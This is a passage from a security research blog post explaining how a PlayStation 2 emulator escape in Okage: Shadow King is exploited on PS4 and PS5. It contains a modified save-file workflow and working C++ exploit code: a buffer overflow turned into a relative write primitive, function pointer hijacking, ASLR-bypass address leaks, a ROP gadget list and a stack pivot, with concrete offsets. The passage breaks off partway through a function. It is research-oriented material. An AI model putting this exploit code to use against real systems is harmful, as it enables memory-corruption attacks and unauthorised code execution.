mast1c0re: Part 3 – Escaping the emulator

Introduction

In the previous post, we developed a traditional stack buffer overflow exploit in the Okage: Shadow King game which resulted in us being able to execute arbitrary code from within a PlayStation 2 ELF that was embedded inside the exploitable game save file. In this post, we will specifically target a vulnerability within the PlayStation emulator to gain userland ROP (return-oriented programming) code execution on the PlayStation 4 and PlayStation 5.

The research and development discussed within this post was heavily influenced from the research conducted by CTurtE in the blog “mast1c0re: Hacking the PS4 / PS5 through the PS2 Emulator – Part 1 – Escape“. I would strongly recommend you read that blog post in conjunction with this post to improve your understanding of the mast1c0re vulnerability.

Executing a game save on the PlayStation 4 and PlayStation 5

The previous posts within this blog post series specifically focused on developing the initial entry point vulnerability for the PCSX2 PlayStation 2 emulator. However, the vulnerability exists within the Okage: Shadow King game itself and therefore can also be triggered on both the PlayStation 4 and PlayStation 5.

The memory card file within PCSX2 is named Mcd001.ps2, where as the memory card file within a PlayStation 4 game save file is named VCM0.card. Although they differ in name and file extension, they both contain the same content type of “Sony PS2 Memory Card Format 1.2.0.0”. This means that we can still use mymc or mymcplus to extract the BASCUS-97129.psu file, and then use pypsu to extract the bkmo0.dat file.

└─$ mymcplus -i VMC0.card export BASCUS-97129
Exporing BASCUS-97129 to BASCUS-97129.psu

└─$ psu export BASCUS-97129.psu bkmo0.dat
[+] bkmo0.dat exported to bkmo0.dat

└─$ ls -al
total 8608
drwxr-xr-x 2 user user    4096 Dec 22 15:33 .
drwxr-xr-x 7 user user    4096 Dec 22 15:33 ..
-rw-r--r-- 1 user user  148992 Dec 22 15:33 BASCUS-97129.psu
-rw-r--r-- 1 user user    3460 Dec 22 15:33 bkmo0.dat
-rw-r--r-- 1 user user 8650752 Dec 22 15:33 VMC0.card

PlayStation 4

To import the VMC0.card file on your PlayStation 4, you require a low firmware version capable of running Apollo PS4 and an FTP server. Additionally, you require an Okage: Shadow King game save which can be created by playing the game as discussed under the heading “Obtaining a game save file” in “mast1c0re: Part 1 – Modifying PS2 game save files“.

Once you have a game save file on your PlayStation 4, open Apollo PS4, choose “HDD Saves”, select “OKAGE: Shadow King – SCUS-97129”, then select “Export decrypted save files” and finally click “VCM0.card”. This will save the existing memory card file to /data/apollo/<user-id>/CUSA02282_SCUS-97129/VCM0.card.

Next, using an FTP client, overwrite the existing VCM0.card with the custom built VCM0.card. Then in Apollo PS4, select “Import decrypted save files”, and finally click “VCM0.card” to import the custom VCM0.card file into the PlayStation 4 save.

Okage: Shadow King can now be loaded and the exploit will execute on the PlayStation 4.

If you are wanting to sign and encrypt a PlayStation 4 game save using a PlayStation Network account, you must follow the steps in Apollo PS4 (offline-account-activation) to do an offline account activation. This should be done if you wish to use the game save on another console such as a PlayStation 4 on the latest firmware. You can find your PlayStation Network account id by copying a save file from your PlayStation 4 on the account linked to PlayStation Network to a USB, and then viewing the created folder name which should be a 16 character hex value that looks like “343ab456d7ef8901“. The Console PSID and Console IDPS are not required for this operation.

PlayStation 5

Follow the steps under the PlayStation 4 heading to sign and encrypt a game save file. You must follow the Apollo PS4 (offline-account-activation) steps in order for the save to be accepted on the PlayStation 5. Once the save has been encrypted and signed on the PlayStation 4, copy it to a USB using the system menu (Settings -> Application Saved Data Management -> Saved Data in System Storage -> Copy to USB Storage Device -> OKAGE: Shadow King -> Copy). Plug your USB into your PlayStation 5, then import the save file on to your PlayStation 5 (Settings -> Saved Data and Game/App Settings -> Saved Data (PS4) -> USB Drive -> OKAGE: Shadow King -> Copy).

Debugging on the PlayStation 4

My understanding of the PlayStation emulator is that it translates 64-bit MIPS instructions into x86-64 instructions on an ad hoc basis using a Just-in-time (JIT) compiler. This means that we cannot expect our translated x86-64 instructions to be in the same location in memory each time we execute the game.

The easiest way I found to debug the PlayStation 2 MIPS code on the PlayStation 4 was by writing a value to a specific address in PlayStation 2 memory, and then setting a hardware write breakpoint on that address in the PlayStation 4 memory space.

For this example, I am using a client-server PlayStation 4 debugger I built in 2018 called MEMAPI, which can be found at memapi-debugger. The server binary which is executed through a webkit exploit can be found at memapi-server. Alternatively, it should be possible to follow a similar procedure using ps4debug.

In this example, I am writing the value 0x30 to the address 0xe10000 first, executing some functionality, then writing the value 0x31 to the address 0xe10000.

int a = 0;
*(uint8_t*)(0xe10000) = 0x30;
a++;
*(uint8_t*)(0xe10000) = 0x31;
a = 0;

First we connect the debugger to the PlayStation 4 and attach to the eboot.bin process. Next, we set a hardware write breakpoint on the address 0x8000e10000 which is the PlayStation 4 memory address of the PlayStation 2 memory address.

Setting Hardware Breakpoint

Once hitting the “RESTORE GAME” option in Okage: Shadow King, the hardware breakpoint should trigger once the PlayStation 2 code writes to the 0xe10000 memory address.

PS4 Hardware Breakpoint Triggered

Arbitrary gadget execution

We begin by extracting the eboot.bin binary from Okage: Shadow King version 1.01 on the low firmware PlayStation 4 via FTP and then loading it in Ghidra 9.0.1 using the GhidraPS4Loader plugin. Make sure the base image address is set to 003fc000 in Window -> Memory Map -> <House Icon> so that addresses match those mentioned in this post.

N/S status buffer overflow

As mentioned in CTurtE‘s blog post, there are multiple fixed memory addresses which when read from or wrote to, trigger hardware functionality to occur. This hardware logic is handled by subroutines within the embedded PlayStation emulator inside the eboot.bin binary.

For example, when writing to the fixed memory address 0x1f402017 (SCMD_STATUS), the emulator appends the given byte value to an array. A global variable I named gSStatusIndex (0x08978a0) keeps track of the current index in the array gSStatusBuffer (0x0897820).

The code within eboot.bin which handles the SCMD_STATUS (0x1f402017) command can be seen in the function _handleIOPCDVDDrive (0x00479200) as shown below:

void _handleIOPCDVDDrive(uint32_t address, byte b)
{
    ...
    if (address == SCMD_STATUS/*0x1f402017*/)
    {
        gSStatusBuffer[gSStatusIndex] = b;
        gSStatusIndex++;
    }
    ...
}

The gSStatusBuffer (0x0897820) array has a size of 16 bytes and there is no bounds checking on the gSStatusIndex (0x08978a0) value, therefore by triggering the command more than 16 bytes we can write arbitrary bytes beyond the gSStatusBuffer (0x0897820) array.

The following sStatusBufferOverflow function fills the gSStatusBuffer (0x0897820) array with 16 (0x10) null bytes, then proceeds to overflow the buffer with the given overflow data of length size.

#define SCMD_SEND         0x1f402017

void PS::Breakout::sStatusBufferOverflow(uint8_t* overflow, uint32_t size)
{
    PS::Breakout::resetSStatusIndex();

    // Fill the buffer
    for (int i = 0; i < 0x10; i++)
        *(uint8_t*)SCMD_SEND = 0;
    
    // Write out-of-bounds
    for (uint32_t i = 0; i < size; i++)
        *(uint8_t*)SCMD_SEND = overflow[i];
}

As you may have noticed from the previous function, the gSStatusIndex (0x08978a0) is reset to zero before overflowing the buffer. This is done by sending an invalid command argument to SCMD_COMMAND (0x1f402016) which sets the gSStatusIndex (0x08978a0) value to zero in the _handleIOPCDVDDrive (0x00479200) function. We need to wait for the command to finish processing by checking the SCMD_STATUS (0x1f402017) value and waiting until the CMD_STATUS_BUSY (0x80) flag is false. Additionally, we need to flush the SCMD_COMMAND (0x1f402016) result by reading the data buffer from SCMD_RECV (0x1f402018). A similar set of operations is done to reset the gNStatusIndex (0x0897890) in PS::Breakout::resetNStatusIndex as shown below.

#define BREAKOUT_BUSY_TIMEOUT 100000

// CDVD Command
#define NCMD_COMMAND      0x1f402004
#define NCMD_STATUS       0x1f402005

#define SCMD_COMMAND      0x1f402016
#define SCMD_STATUS       0x1f402017
#define SCMD_RECV         0x1f402018

#define CMD_STATUS_EMPTY  0x40 /* Data is unavailable */
#define CMD_STATUS_BUSY   0x80 /* Command is processing */

void PS::Breakout::resetSStatusIndex()
{
    // Submit invalid command
    *(uint8_t*)SCMD_COMMAND = 0;

    // Wait for busy flag to be cleared
    int i = 0;
    while ((*(uint8_t*)SCMD_STATUS) & CMD_STATUS_BUSY)
    {
        i++;
        if (i > BREAKOUT_BUSY_TIMEOUT)
            break;
    }

    // Flush S command result
    uint8_t recv;
    i = 0;
    while (!((*(uint8_t*)SCMD_STATUS) & CMD_STATUS_EMPTY))
    {
        recv = *(uint8_t*)SCMD_RECV;
        i++;
        if (i > BREAKOUT_BUSY_TIMEOUT)
            break;
    }
}

void PS::Breakout::resetNStatusIndex()
{
    // Submit invalid command
    *(uint8_t*)NCMD_COMMAND = 0;

    // Wait for busy flag to be cleared
    int i = 0;
    while ((*(uint8_t*)NCMD_STATUS) & CMD_STATUS_BUSY)
    {
        i++;
        if (i > BREAKOUT_BUSY_TIMEOUT)
            break;
    }
}

Relative write-what-where

We are now able to overflow the gSStatusBuffer (0x0897820) and corrupt global values directly beyond the buffer. After 0x60 bytes of other global variables, we can overwrite the gNStatusIndex (0x0897890) variable to any unsigned 32-bit integer as shown in the following memory dump:

gSStatusBuffer Overflow

Therefore, the following setOOBindex function can be used to set the gNStatusIndex (0x0897890) value using the buffer overflow vulnerability.

void PS::Breakout::setOOBindex(uint32_t index)
{
    PS::Breakout::resetNStatusIndex();

    uint8_t overflow[0x60 + sizeof(index)] = {};

    // Overwrite N status index
    overflow[0x60 + 0] = index >> 0;
    overflow[0x60 + 1] = index >> 8;
    overflow[0x60 + 2] = index >> 16;
    overflow[0x60 + 3] = index >> 24;

    PS::Breakout::sStatusBufferOverflow(overflow, sizeof(overflow));
}

By setting the gNStatusIndex (0x0897890) to an arbitrary positive number we can write any byte outside of the PS2 emulator memory between the eboot.bin gNStatusBuffer (0x0897810) address and gNStatusBuffer (0x0897810) + UINT32_MAX (0xFFFFFFFF).

This can be seen in the function _handleIOPCDVDDrive (0x00479200) when the memory address is NCMD_STATUS (0x1f402005), as the given byte b is wrote to gNStatusBuffer (0x0897810) at an offset of our controllable index gNStatusIndex (0x0897890).

void _handleIOPCDVDDrive(uint32_t address, byte b)
{
    ...
    if (address == NCMD_STATUS/*0x1f402005*/)
    {
        gNStatusBuffer[gNStatusIndex] = b;
        gNStatusIndex++;
    }
    ...
}

The function PS::Breakout::writeOOB can then be used to write a single byte outside of the emulator in the PlayStation 4 or PlayStation 5 memory space, by setting the gNStatusIndex (0x0897890) value to the relative offset between gNStatusBuffer (0x0897810) and the target address using the gSStatusBuffer (0x0897820) overflow, then triggering the write with NCMD_SEND (0x1f402005). Additionally, we can add helper writeOOB functions for writing different integer types (uint8_t, uint16_t, uint32_t, uint64_t).

#define NCMD_SEND         0x1f402005
#define N_STATUS_BUFFER   0x0897810 // gNStatusBuffer

uint32_t PS::Breakout::writeOOB(uint32_t address, uint8_t value)
{
    PS::Breakout::setOOBindex(address - N_STATUS_BUFFER);
    *(uint8_t*)NCMD_SEND = value;
    return 1;
}

uint32_t PS::Breakout::writeOOB(uint32_t address, uint16_t value)
{
    PS::Breakout::writeOOB(address + 0, (uint8_t)(value >> 0));
    PS::Breakout::writeOOB(address + 1, (uint8_t)(value >> 8));
    return 2;
}

uint32_t PS::Breakout::writeOOB(uint32_t address, uint32_t value)
{
    PS::Breakout::writeOOB(address + 0, (uint8_t)(value >> 0));
    PS::Breakout::writeOOB(address + 1, (uint8_t)(value >> 8));
    PS::Breakout::writeOOB(address + 2, (uint8_t)(value >> 16));
    PS::Breakout::writeOOB(address + 3, (uint8_t)(value >> 24));
    return 4;
}

uint32_t PS::Breakout::writeOOB(uint32_t address, uint64_t value)
{
    PS::Breakout::writeOOB(address + 0, (uint32_t)value);
    PS::Breakout::writeOOB(address + 4, (uint32_t)(value >> 32));
    return 8;
}

Arbitrary execute gadget and read EAX

We are now able to write N bytes of data after the gNStatusBuffer (0x0897810) address in PlayStation 4 or PlayStation 5 memory. The PlayStation 2 memory address 0x10000000 is for input/output registers and executes a function pointer located in the global variable gIORegisterReadHandlers (0x60e7880). As this global variable is defined beyond the gNStatusBuffer (0x0897810), we can overwrite the function pointer with any address we desire to execute native instructions on the PlayStation 4 or PlayStation 5. The function pointer is triggered by performing a read on the memory address 0x10000000, which returns the resulting value of the EAX register to our PlayStation 2 code. Currently however, we do not know the address of any instructions due to the usage of address space layout randomization (ASLR). A resolution to overcome this protection is discussed further on in this post.

#define IO_REGISTER_READ_HANDLERS         0x060e7880

uint32_t PS::Breakout::callGadgetAndGetResult(
    uint32_t gadget, uint32_t gadgetSize
)
{
    volatile uint32_t* io = (volatile uint32_t*)(void*)0x10000000;

    // Corrupt the function pointer
    PS::Breakout::writeOOB(IO_REGISTER_READ_HANDLERS, gadget);

    // Call the corrupted function pointer
    return *io;
}

Arbitrary execute gadget and write ESI

As well as a read input/output register, there is also a write input/output register when writing to the address 0x1F801000 in the PlayStation 2. Again, this executes a function pointer named gIORegisterWriteHandlers (0x0ae7d98) which is located in the global data section beyond the gNStatusBuffer(0x0897810) address. We can change this function pointer to any address we desire, and writing a 32-bit integer to the address 0x1F801000 will trigger the function pointer to execute, whilst setting our input value into the ESI register.

#define INTERRUPT_WRITE_HANDLERS          0x00ae7d98

void PS::Breakout::callGadgetWithArgument(uint32_t gadget, uint32_t esi)
{
    // Corrupt jump target
    PS::Breakout::writeOOB(INTERRUPT_WRITE_HANDLERS, gadget);

    // Set ESI and execute gadget
    volatile uint32_t *interruptRegisters =
        (volatile uint32_t*)(void*)0x1F801000;
    *interruptRegisters = esi;
}

ROP gadgets with rp++

The PlayStation 4 and PlayStation 5 environment has non-executable (NX) memory regions enabled, which means we can only execute code in memory regions which are marked as executable. This restricts us to executing code within the .text section of the eboot.bin, which is marked as read-only on the PlayStation 4. Therefore, we cannot jump to the stack and execute the code directly as we did in mast1c0re: Part 2 – Arbitrary PS2 code execution.

We can overcome this protection by using a technique known as return-orientated programming (ROP) which involves jumping to instructions which are followed by an instruction which continues execution from a value popped off the stack. For example, the instructions “pop rax; ret;” will pop the next eight bytes on the stack into the RAX register, and then pop the following eight bytes on the stack into the RIP (instruction pointer) register. This is known as a ROP gadget. As we will be able to control the data on the stack, we can chain these ROP gadgets together. For example the two gadgets “pop rax; ret;” and “pop rbx; ret;“, which together are called a ROP chain. As x86-64 instructions are different in their machine code byte lengths, instructions can be unintentionally found at a different offset to the intended x86-64 instruction, which allows us to find instruction chains which would not normally occur within an application.

The tool rp++ by 0vercl0k can be used to automatically identify instruction chains that result in an instruction that allows us to continue controlling the flow of execution by a pointer on the stack.

The following command can be used to generate a list of ROP gadgets that exist in the eboot.bin file. We need to specify that the .text address starts at 0x3FC000 which is 0x400000 minus the .text offset within the ELF file of 0x1000.

rp-win.exe -f eboot.bin --va 0x3FC000 --raw x64 --rop 5 > eboot-rop-5.txt

The following output is a small snippet of the generated ROP gadgets:

0x4f1f0b: pop rax ; ret ; (1 found)
0x40c164: pop rbx ; ret ; (1 found)
0x493773: pop rcx ; ret ; (1 found)
0x401429: pop rdi ; ret ; (1 found)
0x44756e: pop rsi ; ret ; (1 found)
0x49a2ea: pop rsp ; ret ; (1 found)
0x40008f: pop rbp ; ret ; (1 found)
0x72bb0c: pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret ; (1 found)
0x428901: add  [edi], ecx ; ret ; (1 found)
0x4c5463: add  [rax+0x63], ecx ; ret ; (1 found)

ASLR Bypass

Address space layout randomization (ASLR) is a binary protection which changes the base address of a process and it’s libraries (configuration dependent) each time the application is executed. This means that the addresses are not fixed in a single location and cannot be hard-coded into an exploit, like they were with the mast1c0re: Part 2 – Arbitrary PS2 code execution vulnerability, as ASLR was not present in that scenario. Although the base address is randomly generated each time the binary (or game in this instance) is executed, the lower bits of the address are consistently the same as the ASLR slide is page-aligned. This means that as the memory page size is 0x4000 for the PlayStation 4, the randomly generated addresses will always end in the same last three hex values as the least significant 14-bits are consistent.

EBOOT address leak

We are now able to execute and either read a value from EAX, or write a value to ESI by overwriting the gIORegisterReadHandlers (0x60e7880) or the gIORegisterWriteHandlers (0x0ae7d98) as previously discussed. However, due to ASLR we do not know the base address of the eboot.bin, and therefore we need to determine that before we can execute ROP gadgets.

The original input/output register read handler pointer points to the function FUN_005a9d60. This function contains a RET instruction (0x005a9d91) close to the function start address at as shown:

**************************************************************
*                          FUNCTION                          *
**************************************************************
                             undefined FUN_005a9d60()
             undefined         AL:1           <RETURN>
                             FUN_005a9d60                                    XREF[2]:     FUN_004547d0:004550fc(*), 
                                                                                          FUN_004547d0:00455110(*)  
        005a9d60 81 c7 00        ADD        EDI,0xf0000000
                 00 00 f0
        005a9d66 4c 8d 05        LEA        R8,[0x60f8af0]
                 83 ed b4 05
        005a9d6d 89 f8           MOV        EAX,EDI
        005a9d6f c1 e8 0b        SHR        EAX,0xb
        005a9d72 48 6b f0 38     IMUL       RSI,RAX,0x38
        005a9d76 89 f8           MOV        EAX,EDI
        005a9d78 25 f0 00        AND        EAX,0xf0
                 00 00
        005a9d7d c1 e8 04        SHR        EAX,0x4
        005a9d80 81 e7 f0        AND        EDI,0xf0
                 00 00 00
        005a9d86 49 8d 0c 30     LEA        RCX,[R8 + RSI*0x1]
        005a9d8a 74 06           JZ         LAB_005a9d92
        005a9d8c 8b 0c 81        MOV        ECX,dword ptr [RCX + RAX*0x4]
        005a9d8f 89 c8           MOV        EAX,ECX
        005a9d91 c3              RET

As the least-significant byte is always the same even though ASLR is enabled, we know the function pointer will end with the byte 0x60. The upper address values “005a9” however will not be consistent and will change each time the game is booted. We can overwrite the least-significant byte of the function pointer from 0x60 to 0x91, which would change the function pointer to directly execute only the RET instruction. Additionally, we can write to this byte with ASLR enabled as the relative offset between the function pointer, the gIORegisterReadHandlers (0x60e7880) and the gNStatusIndex (0x0897890) remains the same regardless of the eboot.bin base address as they are in the same memory mapping, and the write what where primitive is a relative write.

By doing this, we can execute only the RET instruction and retrieve the value of the EAX register, which contains the address of the gIORegisterReadHandlers (0x60e7880) global variable. Calculating the difference of the ASLR gIORegisterReadHandlers address with the address of gIORegisterReadHandlers when ASLR is disabled (0x60e7880) gives us the ASLR slide value. Using this, we can calculate the real address of every address in the eboot.bin by adding the required address with no ASLR to the ASLR slide value.

The following code leaks the eboot.bin difference using the method described, and adds a helper defintiion EBOOT which calculates the ASLR adjusted eboot.bin address.

#define IO_REGISTER_READ_HANDLERS 0x060e7880 // gIORegisterReadHandlers
#define BREAKOUT_PARTIAL_POINTER_OVERWRITE_RET 0x91
#define EBOOT(address) PS::Breakout::eboot(address)
#define GADGET(address) EBOOT(address)

uint32_t PS::Breakout::callGadgetAndGetResult(
    uint32_t gadget, uint32_t gadgetSize
)
{
    // Addresses are different if ASLR is enabled, however the
    // offset is static regardless
    volatile uint32_t* io = (volatile uint32_t*)(void*)0x10000000;

    // Corrupt the function pointer
    if (gadgetSize == 4)
        PS::Breakout::writeOOB(IO_REGISTER_READ_HANDLERS, gadget);

    // Overwrite just the least significant byte, for before
    // we've defeated ASLR
    else if (gadgetSize == 1)
        PS::Breakout::writeOOB(IO_REGISTER_READ_HANDLERS, (uint8_t)gadget);

    // Call the corrupted function pointer
    return *io;
}

uint32_t PS::Breakout::leakEboot()
{
    // Corrupt the least significant byte of the first IO register
    // read handler from 0x60 to 0x91 to point to `ret`
    // Originally points to XXXXXX60 (eg 0x005A9D60), overwrite
    // points to XXXXXX91 (eg 0x005A9D91).
    // This will return the IO register read handler address as it
    // was stored in EAX (eg: 0x060E7880)
    uint32_t ioFunctionPointerAddress = PS::Breakout::callGadgetAndGetResult(
        BREAKOUT_PARTIAL_POINTER_OVERWRITE_RET, 1
    );

    // ASLR EBOOT slide. If ASLR is disabled ebootDiff = 0
    PS::Breakout::ebootDiff = ioFunctionPointerAddress -
        IO_REGISTER_READ_HANDLERS;
    return PS::Breakout::ebootDiff;
}

static inline uint32_t eboot(uint32_t address)
{
    return address + PS::Breakout::ebootDiff;
}

Stack address leak

We have leaked the eboot.bin base address, however we currently do not know the base stack address as the ASLR slide is different to the eboot.bin address. The stack address leak is required to restore corrupted registers and continue execution after the exploit has executed.

We can leak the stack address by executing a ROP gadget, which sets the value of the ESP (stack pointer) into EAX, and then retrieve it with the input/output read handler. Although there is no direct “mov eax, esp; ret ;” gadget, we can use the gadget “add eax, esp ; ret ;” as we know the value of EAX is gIORegisterReadHandlers (0x60e7880 + ebootDiff). We can then minus the value of EAX from the returned address to retrieve the original value of ESP. ESP only holds the least significant 32-bits of the stack pointer address. Fortunately, the most significant 32-bits is always 0x00000007, therefore we can do a bitwise OR with the stack address and 0x0000000700000000 to obtain the 64-bit stack address as shown in the following code snippet:

#define IO_REGISTER_READ_HANDLERS 0x060e7880
#define BREAKOUT_STACK_DIFF 0xc7aa8 // 0x7EECAFAA8 - 0x7EEBE8000
#define EBOOT(address) PS::Breakout::eboot(address)
#define STACK(address) PS::Breakout::stack(address)
#define ADD_EAX_ESP_RET 0x4a28d2 // add eax, esp ; ret ;

uint64_t PS::Breakout::leakStack()
{
    uint32_t esp_add_eax = PS::Breakout::callGadgetAndGetResult(
        GADGET(ADD_EAX_ESP_RET), 4
    );
    uint32_t eax = EBOOT(IO_REGISTER_READ_HANDLERS);
    uint32_t esp = esp_add_eax - eax;
    uint32_t stackLeak = esp - BREAKOUT_STACK_DIFF;
    PS::Breakout::stackAddress = (uint64_t)stackLeak | 0x700000000;
    return PS::Breakout::stackAddress;
}

static inline uint64_t stack(uint64_t address)
{
    return address + PS::Breakout::stackAddress;
}

LibKernel address leak

The libkernel.sprx library is a dependency used by eboot.bin and contains various functions and ROP gadgets that we can take advantage of. Again, this library uses ASLR and therefore we need to leak the base address in order to access functions and gadgets within the library. The eboot.bin binary contains various stub functions which are filled with a pointer to the function in their respective libraries. One stub function is for the function sceKernelUsleep (00763b30) and is shown below:

**************************************************************
*                          FUNCTION                          *
**************************************************************
                             undefined sceKernelUsleep()
             undefined         AL:1           <RETURN>
                             sceKernelUsleep                                 XREF[49]
        00763b30 ff 25 8a        JMP        qword ptr [sceKernelUsleep]
                 96 0d 00
        00763b36 68 56 00        PUSH       0x56
                 00 00
        00763b3b e9 80 fa        JMP        FUN_007635c0                                     undefined FUN_007635c0()
                 ff ff

The pointer which is filled in when the application is executed for this function is located at 0x083d1c0 within the eboot.bin. By opening the PlayStation 4 firmware version 5.05 libkernel.sprx in Ghidra, we can determine the sceKernelUsleep function is located at offset 0x013b20. Therefore, to calculate the base address of the libkernel.sprx library, we can dereference the eboot.bin pointer at 0x083d1c0, then take away the sceKernelUsleep function offset of 0x013b20. It is important to note that this is firmware dependent due to the fixed sceKernelUsleep function offset.

The following code calculates the base libkernel.sprx address and adds a LIBKERNEL definition helper:

#define LIB_KERNEL_SCE_KERNEL_USLEEP      0x013b20
#define EBOOT_SCE_KERNEL_USLEEP_STUB_PTR  0x083d1c0

#define LIBKERNEL(address) PS::Breakout::libKernel(address)

// Leak LibKernel address
PS::Breakout::libKernelAddress =
    DEREF(EBOOT(EBOOT_SCE_KERNEL_USLEEP_STUB_PTR)) -
    LIB_KERNEL_SCE_KERNEL_USLEEP;

static inline uint64_t libKernel(uint64_t address)
{
    return address + PS::Breakout::libKernelAddress;
}

ROP setup

We now have the ability to execute a single ROP gadget using the read or write input/output interrupt handlers. However, we need to change the value of RSP (stack pointer) to point to a region of memory we can control from within the PlayStation 2 memory space, to minimize the usage of the read or write input/output interrupt handlers and the out of bounds write vulnerability.

To start off, the following helper functions are defined to allow us to convert memory addresses from the PlayStation 2 emulation address to the PlayStation 4 or PlayStation 5 memory address. Due to the emulation configuration, the PlayStation 2 base address is a fixed address of 0x8000000000 within the PlayStation 4 and PlayStation 5 memory map, even with ASLR enabled.

#define NATIVE(address) PS::Breakout::toNative(address)
#define NATIVE_TO_PVAR(address) PS::Breakout::fromNative(address)
#define VAR_TO_NATIVE(var) NATIVE((uint32_t)(&var))
#define PVAR_TO_NATIVE(var) NATIVE((uint32_t)(var))

static inline uint64_t toNative(uint32_t address)
{
    return (address == 0 ? 0 : ((uint64_t)address | (uint64_t)0x8000000000));
}

static inline uint32_t fromNative(uint64_t address)
{
    return (uint32_t)(address & 0xFFFFFFFF);
}

To setup the ROP chain, we need to change the value of RSP (stack pointer) with a ROP gadget that uses ESI, as that is the register we can control using the write interrupt handler. Therefore, the first ROP gadget we will use is:

push rsi ; add bh, cl ; call qword [rsi+0x3B] ;

This gadget will push our controllable value on to the stack, add two registers together, then call the address at [rsi + 0x3b]. The main part of this gadget is pushing our controllable address on the stack, then the call instruction which will call a gadget at an offset of 0x3b at an address we can write to. This address will be named STAGE_1 and the address chosen is 0x60F0000 in eboot.bin as it contains a large amount of NULL bytes and the address fits inside the ESI register (4 bytes). Although it would be desirable to set RSP directly to PlayStation 2 memory, it is not possible as all PlayStation 2 memory addresses within the PlayStation 4 and PlayStation 5 start at address 0x8000000000.

The next ROP gadget we will use is:

pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ;

This will pop the return address from the previous call instruction off the stack into RCX. It then executes fld and clc which can be ignored. Next, it pops the next value off the stack into RSP (stack pointer), which is our previously pushed STAGE_1 (0x60F0000) RSI value. Finally, the ret instruction pops the next instruction off the top of the stack, which now points to STAGE_1 (0x60F0000) as that is the value of the RSP (stack pointer) register.

The next gadget to be executed is wrote to STAGE_1 (0x60F0000) before triggering the previous ROP chain:

pop rsp ; ret

This gadget allows us to set RSP (stack pointer) to an arbitrary 8 byte address as we can write to the stack (STAGE_1) at an offset of 0x08 which follows this instruction.

In memory, the data we write to the STAGE_1 (0x60F0000) section is shown below:

Stage 1 ROP Memory Layout

The following function will trigger the ROP chain located in PlayStation 2 memory at address 0x0e00000:

// Stage 1 ROP Chain (EBOOT.BIN)
#define STAGE_1 0x60F0000

// Stage 2 ROP Chain (PS2 Memory)
// Must have large space before and after
// Before: PS4/5 Stack during ROP execution
// After:  ROP Chain
#define ROP_CHAIN 0x0e00000

// Gadgets
// pop rsp ; ret ;
#define POP_RSP_RET 0x49a2ea
// pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ;
#define POP_RCX_FLD_ST0_ST5_CLC_POP_RSP_RET 0x49a2e6
// push rsi ; add bh, cl ; call qword [rsi+0x3B] ;
#define PUSH_RSI_ADD_BH_CL_CALL_QWORD_OB_RSI_PLUS_0X3B_CB 0x7e677c

void PS::Breakout::executeROP()
{
    // Stage 1
    // [1]: Push RSI (stage1Address), Call stage1Address+0x3B ([2])
    // [2]: Pop RCX (rcx = return address from call), Pop RSP (rsp = stage1Address)
    // [3]: Pop RSP (rsp = rop_chain_native)
    PS::Breakout::writeOOB(STAGE_1 + 0x08,
        PVAR_TO_NATIVE((uint64_t*)ROP_CHAIN), true
    );

    // [3] pop rsp ; ret
    PS::Breakout::writeOOB(STAGE_1 + 0x00,
        GADGET(POP_RSP_RET), true
    );

    // [2] pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ;
    PS::Breakout::writeOOB(STAGE_1 + 0x3B,
        GADGET(POP_RCX_FLD_ST0_ST5_CLC_POP_RSP_RET), true
    );

    // [1] push rsi ; add bh, cl ; call qword [rsi+0x3B] ;
    PS::Breakout::callGadgetWithArgument(GADGET(PUSH_RSI_ADD_BH_CL_CALL_QWORD_OB_RSI_PLUS_0X3B_CB), EBOOT(STAGE_1))
}

The previous function handles writing the data to the STAGE_1 (0x60F0000) section and executing a single ROP chain command. However, in most cases we will want to execute ROP chains repeatedly from within the PlayStation 2 environment. We can do this by setting up the STAGE_1 (0x60F0000) memory layout and overwriting the input/output write handler in advance before we need to execute a ROP chain.

We can see this in the following C++ code:

uint32_t PS::Breakout::chainIndex = 0;
uint64_t* PS::Breakout::chain = (uint64_t*)ROP_CHAIN;

void PS::Breakout::setupGadgetWithArgument(uint32_t gadget)
{
    // Corrupt jump target
    PS::Breakout::writeOOB(INTERRUPT_WRITE_HANDLERS, gadget, false);
}

void PS::Breakout::setupROP()
{
    // Stage 1
    // [1]: Push RSI (stage1Address), Call stage1Address+0x3B ([2])
    // [2]: Pop RCX (rcx = return address from previous call), Pop RSP (rsp = stage1Address)
    // [3]: Pop RSP (rsp = rop_chain_native)
    PS::Breakout::writeOOB(STAGE_1 + 0x08,
        PVAR_TO_NATIVE(PS::Breakout::chain), true
    );

    // [3] pop rsp ; ret
    PS::Breakout::writeOOB(STAGE_1 + 0x00,
        GADGET(POP_RSP_RET), true
    );

    // [2] pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ;
    PS::Breakout::writeOOB(STAGE_1 + 0x3B,
        GADGET(POP_RCX_FLD_ST0_ST5_CLC_POP_RSP_RET), true
    );

    // [1] push rsi ; add bh, cl ; call qword [rsi+0x3B] ;
    PS::Breakout::setupGadgetWithArgument(
        GADGET(PUSH_RSI_ADD_BH_CL_CALL_QWORD_OB_RSI_PLUS_0X3B_CB)
    );
}

void PS::Breakout::resetChain()
{
    PS::Breakout::chainIndex = 0;
}

uint32_t PS::Breakout::pushChain(uint64_t value)
{
    PS::Breakout::chain[PS::Breakout::chainIndex++] = value;
    return PS::Breakout::chainIndex;
}

Additionally, the functions resetChain and pushChain are helper functions which allow us to easily append addresses or 64-bit values on to the ROP chain.

To execute the ROP chain, we need to trigger the input/output write handler by setting the address of STAGE_1 (0x60F0000) to the write interrupt register 0x1F801000. Callee-saved register values that were corrupted during the ROP chain setup are also restored before execution continues back to the PlayStation 4 or PlayStation 5 code. This is where we require the stack address leak as the original RBP and RSP register values were stack addresses.

// Gadgets
#define POP_RSP_RET 0x49a2ea // pop rsp ; ret ;
#define POP_RBX_RET 0x40c164 // pop rbx ; ret ;
#define POP_R14_RET 0x4aea72 // pop r14 ; ret ;
#define POP_R15_RET 0x401428 // pop r15 ; ret ;
#define POP_RBP_RET 0x40008f // pop rbp ; ret ;

// Restore Registers
#define BREAKOUT_RESTORE_RBX 0x0000001000000090
#define BREAKOUT_RESTORE_R14 0x0000008000000000
#define BREAKOUT_RESTORE_R15 0x0000001030000090
#define BREAKOUT_RESTORE_RBP_OFF 0xc7b10
#define BREAKOUT_RESTORE_RSP_OFF 0xc7ab8

void PS::Breakout::executeChain()
{
    // Append ROP chain callee-saved register restore
    PS::Breakout::pushChain(GADGET(POP_RBX_RET));
    PS::Breakout::pushChain(BREAKOUT_RESTORE_RBX);
    // R12
